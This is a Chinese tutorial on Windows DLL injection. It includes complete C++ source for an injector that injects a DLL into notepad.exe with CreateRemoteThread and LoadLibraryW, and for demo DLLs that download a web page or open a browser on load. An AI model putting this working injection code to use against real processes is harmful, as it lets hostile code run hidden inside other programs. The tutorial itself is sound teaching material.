第二课 DLL注入

这节课讲解DLL注入，DLL注入技术是渗透其他进程最简单有效的方法，常见的软件渗透技术（HOOK API 修复BUG，恶意代码移植）基本得靠DLL注入来支撑

那么，什么是dll注入呢？

Dll被注入进程后，dll拥有和被注入进程一样的权限

下面将演示把myhack.dll注入记事本

首先将这两个注入器和dll放到同一个文件夹里

然后打开DebugView

如果想详细了解，下面3张图片是详细使用方法（其实我们不需要）

接下来开始注入代码

下面通过Process Explorer查看一下是否注入成功

DebugView中显示出调试字符串，该字符串是由PID：2720进程输出的，成功注入myhack.dll时，就会调用DllMain()函数的OutputDebugString()API

指定的韩国网站的index.html文件也下载好了（这个过程要等一会，根据网速决定）

下面分析一下源码和注入的具体实现

首先看myhack.cpp

#include "windows.h"
#include "tchar.h"

#pragma comment(lib, "urlmon.lib")
#define DEF_URL     	(L"http://www.naver.com/index.html")//韩国naver网站
#define DEF_FILE_NAME   (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID lParam)
{
    TCHAR szPath[_MAX_PATH] = {0,};

    if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
        return FALSE;
	
    TCHAR *p = _tcsrchr( szPath, '\\' );
    if( !p )
        return FALSE;

    _tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
    
    URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);

    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    HANDLE hThread = NULL;
    
    g_hMod = (HMODULE)hinstDLL;
    
    switch( fdwReason )
    {
    case DLL_PROCESS_ATTACH : 
        OutputDebugString(L"<myhack.dll> Injection!!!");
        hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
        CloseHandle(hThread);
        
        break;
    }

    return TRUE;
}

下面再看InjectDll.cpp

#include "windows.h"
#include "tchar.h"

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 
{
    TOKEN_PRIVILEGES tp;
    HANDLE hToken;
    LUID luid;

    if( !OpenProcessToken(GetCurrentProcess(),
                          TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 
			              &hToken) )
    {
        _tprintf(L"OpenProcessToken error: %u\n", GetLastError());
        return FALSE;
    }

    if( !LookupPrivilegeValue(NULL,           // lookup privilege on local system
                              lpszPrivilege,  // privilege to lookup 
                              &luid) )        // receives LUID of privilege
    {
        _tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    tp.PrivilegeCount = 1;
    
    tp.Privileges[0].Luid = luid;
    
    if( bEnablePrivilege )
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    else
        tp.Privileges[0].Attributes = 0;

    // Enable the privilege or disable all privileges.
    if( !AdjustTokenPrivileges(hToken, 
                               FALSE, 
                               &tp, 
                               sizeof(TOKEN_PRIVILEGES), 
                               (PTOKEN_PRIVILEGES) NULL, 
                               (PDWORD) NULL) )
    { 
        _tprintf(L"AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        
        return FALSE; 
    } 

    if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
    {
        _tprintf(L"The token does not have the specified privilege. \n");
        
        return FALSE;
    } 

    return TRUE;
}

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
{
    HANDLE hProcess = NULL, hThread = NULL;
    HMODULE hMod = NULL;
    LPVOID pRemoteBuf = NULL;
    DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
    LPTHREAD_START_ROUTINE pThreadProc;

    // #1. 使用dwPID 获取目标进程(notepad.exe)句柄.
    if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
    {
        _tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
        
        return FALSE;
    }

    // #2.在目标进程(notepad.exe) 内存中分配 szDllName 大小的内存.
    pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);

    // #3. 将myhack.dll 路径("C:\Shin\myhack.dll")写入分配的内存
    WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);

    // #4. 获取LoadLibraryA() API 的地址.
    hMod = GetModuleHandle(L"kernel32.dll");
    pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
	
    // #5. 在notepad.exe 进程中运行线程
    hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);	

    CloseHandle(hThread);
    CloseHandle(hProcess);
    
    return TRUE;
}
int _tmain(int argc, TCHAR *argv[])
{
    if( argc != 3)
    {
        _tprintf(L"USAGE : %s <pid> <dll_path>\n", argv[0]);
        
        return 1;
    }

    // change privilege
    if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
        
        return 1;

    // inject dll
    if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
        _tprintf(L"InjectDll(\"%s\") success!!!\n", argv[2]);
    else
        _tprintf(L"InjectDll(\"%s\") failed!!!\n", argv[2]);

    return 0;
}

举个例子：

这里的user32.dll相当于HOOK Procdure（钩子过程）作为回调函数

下面看一下myhack2.cpp

#include "windows.h"
#include "tchar.h"

#define DEF_CMD  L"c:\\Program Files\\Internet Explorer\\iexplore.exe" 
#define DEF_ADDR L"http://www.naver.com"
#define DEF_DST_PROC L"notepad.exe"

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    TCHAR szCmd[MAX_PATH]  = {0,};
    TCHAR szPath[MAX_PATH] = {0,};
    TCHAR *p = NULL;
    STARTUPINFO si = {0,};
    PROCESS_INFORMATION pi = {0,};

    si.cb = sizeof(STARTUPINFO);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    switch( fdwReason )
    {
    case DLL_PROCESS_ATTACH : 
        if( !GetModuleFileName( NULL, szPath, MAX_PATH ) )
            
            break;
        if( !(p = _tcsrchr(szPath, '\\')) )
            
            break;
        if( _tcsicmp(p+1, DEF_DST_PROC) )
            
            break;
        wsprintf(szCmd, L"%s %s", DEF_CMD, DEF_ADDR);
        if( !CreateProcess(NULL, (LPTSTR)(LPCTSTR)szCmd, 
                            NULL, NULL, FALSE, 
                            NORMAL_PRIORITY_CLASS, 
                            NULL, NULL, &si, &pi) )
            break;

        if( pi.hProcess != NULL )
            CloseHandle(pi.hProcess);
        
        break;

    }
  
    return TRUE;
}